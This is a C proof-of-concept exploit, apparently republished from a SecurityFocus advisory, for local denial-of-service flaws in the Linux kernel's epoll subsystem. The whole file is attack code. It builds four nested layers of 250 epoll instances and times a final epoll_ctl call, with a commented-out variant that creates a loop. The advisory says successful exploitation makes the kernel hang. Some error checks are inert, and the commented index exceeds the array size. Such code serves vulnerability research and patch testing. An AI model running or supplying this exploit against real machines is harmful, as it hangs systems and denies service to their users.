|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78  |  /* source: https://www.securityfocus.com/bid/46630/info The Linux Kernel epoll Subsystem is prone to multiple local denial-of-service vulnerabilities. Successful exploits will allow attackers to cause the kernel to hang, denying service to legitimate users.  */ #include <unistd.h> #include <sys/epoll.h> #include <sys/time.h> #include <stdio.h> #define SIZE 250 int main(void) {  int links[SIZE];  int links2[SIZE];  int links3[SIZE];  int links4[SIZE];  int i, j;  int ret;  int ep1, ep2;  struct timeval start, end;  struct epoll_event evt = {  .events = EPOLLIN  };  ep1 = epoll_create(1);  for (i = 0; i < SIZE; i++) {  links[i] = epoll_create(1);  ret = epoll_ctl(ep1, EPOLL_CTL_ADD, links[i], &evt);  if (ret)  perror("error 1");  }  for (i = 0; i < SIZE; i++) {  links2[i] = epoll_create(1);  for (j = 0; j < SIZE; j++) {  epoll_ctl(links[j], EPOLL_CTL_ADD, links2[i], &evt);  if (ret)  perror("error 2");  }  }  for (i = 0; i < SIZE; i++) {  links3[i] = epoll_create(1);  for (j = 0; j < SIZE; j++) {  epoll_ctl(links2[j], EPOLL_CTL_ADD, links3[i], &evt);  if (ret)  perror("error 3");  }  }  for (i = 0; i < SIZE; i++) {  links4[i] = epoll_create(1);  for (j = 0; j < SIZE; j++) {  epoll_ctl(links3[j], EPOLL_CTL_ADD, links4[i], &evt);  if (ret)  perror("error 4");  }  }  ep2 = epoll_create(1);  gettimeofday(&start, NULL);  ret = epoll_ctl(ep2, EPOLL_CTL_ADD, ep1, &evt);  /* creates a loop */  //ret = epoll_ctl(links4[499], EPOLL_CTL_ADD, ep1, &evt);  if (ret)  perror("error 5");  gettimeofday(&end, NULL);  printf("%ld\n", ((end.tv_sec * 1000000 + end.tv_usec)  - (start.tv_sec * 1000000 + start.tv_usec)));  return 0; }  |